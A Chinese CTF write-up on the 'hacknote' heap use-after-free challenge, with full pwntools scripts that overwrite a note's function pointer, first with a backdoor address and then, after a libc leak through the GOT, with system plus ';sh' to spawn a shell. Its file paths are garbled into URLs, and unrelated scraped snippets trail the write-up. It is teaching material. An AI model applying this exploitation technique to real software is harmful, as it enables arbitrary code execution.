本文首发于“合天智汇” 作者:紫色仰望
http://blog.eonew.cn/archives/490 https://blog.csdn.net/weixin_44864859/article/details/107181869
这里记录下经典的含有后门的UAF漏洞程序。//hacknote 最简单的堆题目 libc 2.23
以及含后门的UAF漏洞程序 //hacknote
先看之一个含有后门的UAF漏洞程序:
32位elf程序,没有去符号。// 给源代码会更香。
只开启了NX保护。
$ file hacknote_backdoor hacknote_backdoor: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44ee75c492628b3691cdcdb07759e9bbe551644a, not stripped $ checksec hacknote_backdoor [*] Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
add_note:
其中 print_note_content函数为:
del_note:
print_note:
另外程序中含有 后门:
创建2个0x18大写的chunk 此时:
然后依次删除 结构体下标为 0 和 1
然后我们申请 个 和固定大小一致的结构体即可。
往新申请的content_addr中 写入 后门函数地址。
最后 只要 print 结构体即可 拿到shell。
#coding:utf8 from pwn import * context.log_level="debug" p=process("https://www.freebuf.com/articles/network/hacknote_backdoor") #p=remote("node3.buuoj.cn",29525) elf=ELF("https://www.freebuf.com/articles/network/hacknote_backdoor") libc=ELF("/lib/i386-linux-gnu/libc.so.6") def add(size,content): p.sendlineafter("Your choice :","1") p.sendlineafter("Note size :",str(size)) p.sendlineafter("Content :",content) def delete(index): p.sendlineafter("Your choice :","2") p.sendlineafter("Index :",str(index)) def show(index): p.sendlineafter("Your choice :","3") p.sendlineafter("Index :",str(index)) ''' text_base=int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) print "text_base : "+hex(text_base) print "jiegoutishuzu : "+hex(text_base+0x202040) ''' magic=0x08048945 notelist=0x0804A048 add(0x18,"\x11"*8) #1 #2 add(0x18,"\x22"*8) #3 #4 #gdb.attach(p) delete(0) delete(1) #gdb.attach(p) pd=p32(magic) add(0x8,pd) #gdb.attach(p) show(0) p.interactive()
如果题目把后门去掉呢?这里同时也去除了符号。除此之外,程序其它几乎一摸一样.
$ file hacknote hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, stripped $ checksec hacknote [*] Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
这里先把 此程序的 数据结构给写下呢。
typedef struct note //0x10 { void (* puts)(note *); char *note_content; }note; note *ptr[5];
因为没有后门,那么首先的一件事就是 去leak libc.
这题在add函数中,maloc一个size=0x10的chunk作为note结构体,然后又申请一个任意大小(我们可控制的)的chunk作为note_content的指针。
所以 我们可以去申请一个unsigned 大小的chunk,然后再将它给delete掉,便可以leak libc_base,
嗯嗯,其实并不会,因为这题 在打印 note_content的时候,会调用 该结构体中的 void ( puts)(note )函数。而在我们将它给delete 的时候会将它给置空。导致 无法进行 打印。那么我们要怎么做呢。
这里我原本去想,我们继续和上面有后门的时候一样操作,先申请两个 size不等于0x10的chunk,然后分别进行delete,然后再申请 一个size=0x10的chunk,并在新 malloc的chunk中 写入 void ( puts)(note ) 以及 __libc_start_main的got地址。但这样 我们接下来 就最多只能再malloc 两个结构体了。这样就无法完成 向 某一个 结构体中 void ( puts)(note ); 给改成 system了。//这里进行了尝试 og一个都不可以成功。
所以这里就需要另外的一种做法了。
刚才所说的思路,在首先进行申请两个 size不等于0x10的chunk,然后再将它分别删除,然后再申请,这无疑一下子 将fastbin上的free chunk给利用完了。 而因为 这题限制了 最多我们最多可malloc 5次。
于是 我们可以首先 申请一个 unsigned 大小的chunk,以及一个size=0x10 大小的chunk,然后将它们分别进行delete(这里要特别注意,先delete unsigned 的chunk,后delete 0x10的chunk,原因是 我们可重复对 0x10的结构体 含有的两个chunk 进行利用。)
最后还需要注意的一点就是 在 getshell的步骤中,我们构造pd2=p32(system_addr)+";sh",而不是
pd2=p32(system_addr)+p32(binsh),原因是 print函数中 传的参数是 *note_content .
#coding:utf8 from pwn import * context.log_level="debug" p=process("https://www.freebuf.com/articles/network/hacknote") #p=remote("node3.buuoj.cn",29525) elf=ELF("https://www.freebuf.com/articles/network/hacknote") libc=ELF("/lib/i386-linux-gnu/libc.so.6") def add(size,content): p.sendlineafter("Your choice :","1") p.sendlineafter("Note size :",str(size)) p.sendlineafter("Content :",content) def delete(index): p.sendlineafter("Your choice :","2") p.sendlineafter("Index :",str(index)) def show(index): p.sendlineafter("Your choice :","3") p.sendlineafter("Index :",str(index)) ''' text_base=int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) print "text_base : "+hex(text_base) print "jiegoutishuzu : "+hex(text_base+0x202040) ''' notelist=0x0804A050 print "step1: leak libc "+"************************************************" add(0x68,"\x11"*8) #0 #1 add(0x8,"\x22"*8) #2 #3 #gdb.attach(p) delete(1) delete(0) #gdb.attach(p) puts_func=0x0804862B __libc_start_main=elf.got['__libc_start_main'] pd=p32(puts_func)+p32(__libc_start_main) add(0x8,pd) show(1) libc_base=u32(p.recv(4))-libc.symbols['__libc_start_main'] print "libc_base is : "+hex(libc_base) #binsh=libc.search("/bin/sh").next()+libc_base #print "binsh is "+ hex(binsh) system_addr=libc_base+libc.symbols['system'] print "system_addr is "+hex(system_addr) print "step2: get shell "+"*************************************************" delete(2) #gdb.attach(p) pd2=p32(system_addr)+";sh"#p32(binsh) add(0x8,pd2) #gdb.attach(p) show(1) p.interactive()
相关实验:ARM漏洞利用技术五--堆溢出
实验:ARM漏洞利用技术五--堆溢出(合天网安实验室)
在堆的情况下,当用户能够写入比预期更多的数据时,会发生内存损坏。通过本实验了解堆溢出,包括intra-chunk和inter-chunk两种类型,分别掌握其特点。
夏季雨后蛙声一片,除了肺之外,青蛙还靠哪个器官来呼吸答案解析 夏季雨后蛙声一片,除了肺之外,青蛙还靠哪个器官来呼吸?5月22日蚂蚁庄园小课堂答案是什么呢?相信很多网友还不知道吧,下面就由小编给大家说...
igs是CAD文档的一种通用性文件格式,坚信一些图形创意工作人员对igs格式一定不生疏,它关键用以不一样三维软件系统软件的文件格式转换。下边,我也给大伙儿介绍一下igs文件的开启方式igs文件如何打开...
在最近两年中,安全专家应该对网络应用层的攻击更加重视。因为无论你有多强壮的防火墙规则设置或者非常勤于补漏的修补机制,如果你的网络应用程序开发者没有遵循 安全代码进行开发,攻击者将通过80端口进入你的系...
本文目录一览: 1、《黑客帝国》中,为何尼奥被枪击后又生还了? 2、黑客帝国中尼欧到底是什么 3、《黑客帝国》中的先知是人还是程序? 4、黑客帝国中的尼奥是人类还是程序? 5、【关于黑...
本文目录一览: 1、《黑客帝国:矩阵重生》将上映,时隔 20 年你觉得票房和口碑还能爆吗? 2、黑客帝国矩阵重启解析是什么? 3、《黑客帝国》最后是说尼奥与史密斯同时删除,矩阵恢复了以前(黑客...
微信是一种提供公共平台、朋友圈新闻、推等功能的免费应用程序。爱手机的人基本上都是作为通讯工具下载微信的,不仅可以通过视频打电话、发布信息,而且还隐藏着许多便于生活的小功能。介绍过免费观看视频和电视直播...